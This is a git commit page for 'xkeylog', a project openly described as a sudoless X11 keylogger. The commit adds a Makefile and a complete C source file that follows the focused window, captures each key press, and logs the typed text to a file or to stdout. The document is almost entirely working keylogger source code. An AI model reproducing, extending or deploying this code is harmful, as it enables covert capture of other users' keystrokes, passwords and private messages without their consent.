xkeylog

Sudoless X11 keylogger
git clone https://git.sinitax.com/sinitax/xkeylog
Log | Files | Refs | sfeed.txt

commit f711b9eed4b7b9a9804bb8c284954b2a975545c3
Author: Louis Burda <quent.burda@gmail.com>
Date:   Mon, 20 Feb 2023 17:44:10 +0100

XSelect version

Is not able to get keypresess from programs using XGrabKeyboard

Diffstat:
A.gitignore | 1+
AMakefile | 19+++++++++++++++++++
Axkeylog.c | 95+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
3 files changed, 115 insertions(+), 0 deletions(-)

diff --git a/.gitignore b/.gitignore @@ -0,0 +1 @@ +xkeylog diff --git a/Makefile b/Makefile @@ -0,0 +1,19 @@ +PREFIX ?= /usr/local +BINDIR ?= /bin + +LDLIBS = -lX11 + +all: xkeylog + +clean: + rm -f xkeylog + +xkeylog: xkeylog.c + +install: + install -m755 xkeylog -t "$(DESTDIR)$(PREFIX)$(BINDIR)" + +uninstall: + rm -f "$(DESTDIR)$(PREFIX)$(BINDIR)/xkeylog" + +.PHONY: all clean install uninstall diff --git a/xkeylog.c b/xkeylog.c @@ -0,0 +1,95 @@ +#include <X11/X.h> +#include <X11/Xlib.h> +#include <X11/Xutil.h> + +#include <sys/types.h> +#include <signal.h> +#include <err.h> +#include <ctype.h> +#include <string.h> +#include <stdio.h> +#include <stdbool.h> +#include <stdlib.h> + +const int mask = KeyPressMask | KeyReleaseMask | FocusChangeMask; + +FILE *logfile; +Display *dpy; +Window root; +Window focus; + +void +close_log(void) +{ + fclose(logfile); +} + +void +handle_event(void) +{ + XComposeStatus comp; + XEvent ev; + KeySym ks; + char strbuf[128]; + int revert; + int len; + + XNextEvent(dpy, &ev); + switch (ev.type) { + case FocusOut: + fprintf(logfile, "Focus changed!\n"); + fprintf(logfile, "Old focus is %d\n", (int)focus); + if (focus != root) + XSelectInput(dpy, focus, 0); + XGetInputFocus(dpy, &focus, &revert); + fprintf(logfile, "New focus is %d\n", (int)focus); + if (focus == PointerRoot) + focus = root; + XSelectInput(dpy, focus, mask); + break; + case KeyPress: + fprintf(logfile, "Got key!\n"); + len = XLookupString(&ev.xkey, strbuf, + sizeof(strbuf) - 1, &ks, &comp); + if (len > 0) { + strbuf[len] = 0; + fprintf(logfile, "String is: %s\n", strbuf); + } else { + fprintf(logfile, "Key is: %d\n", (int)ks); + } + break; + } +} + +int +main(int argc, const char **argv) +{ + const char *filepath; + const char **arg; + int revert; + + filepath = NULL; + for (arg = argv + 1; *arg; arg++) { + if (!filepath) { + filepath = *arg; + } else { + errx(1, "unknown arg: %s", *arg); + } + } + + if (filepath) { + logfile = fopen(filepath, "w+"); + if (!logfile) err(1, "fopen"); + atexit(close_log); + } else { + logfile = stdout; + } + + dpy = XOpenDisplay(NULL); + root = DefaultRootWindow(dpy); + + XGetInputFocus(dpy, &focus, &revert); + XSelectInput(dpy, focus, mask); + + while (1) handle_event(); +}